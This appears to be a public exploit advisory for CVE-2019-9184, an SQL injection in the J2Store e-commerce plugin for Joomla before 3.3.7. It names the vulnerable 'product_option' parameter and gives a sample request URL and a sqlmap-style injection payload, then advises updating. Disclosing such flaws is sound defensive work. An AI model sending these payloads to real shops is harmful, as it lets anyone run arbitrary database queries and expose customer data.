Joomla J2Store SQL Injection

Joomla J2Store versions prior to 3.3.7 suffer from a remote SQL injection vulnerability.

MD5 | 25e3ce9861c2380da40374714aa1046b

# Exploit Title: J2Store Plugin for Joomla! < 3.3.6 - SQL Injection
# Date: 19/02/2019
# Author: Andrei Conache
# Twitter: @andrei_conache
# Contact: andrei.conache[at]
# Software Link:
# Version: 3.x-3.3.6
# Tested on: Linux
# CVE: CVE-2019-9184

1. Description:
J2Store is the most popular shopping/e-commerce extension for Joomla!. The SQL Injection found allows any visitor to run arbitrary queries
on the website.

2. Proof of Concept:

- Parameter vulnerable: "product_option[j]" array (where j depends on entries)
- Example: [URL]/index.php?option=com_j2store&view=product&task=update&product_option[j]=%27%22%3E2&product_qty=1&product_id=XX&option=com_j2store&ajax=0&_=XXXXXXXXXX
- sqlmap: product_option[j]=%28CASE%20WHEN%20%284862%3D4862%29%20THEN%204862%20ELSE%204862%2A%28SELECT%204862%20FROM%20DUAL%20UNION%20SELECT%205348%20FROM%20DUAL%29%20END%29

3. Solution:
Update to 3.3.7

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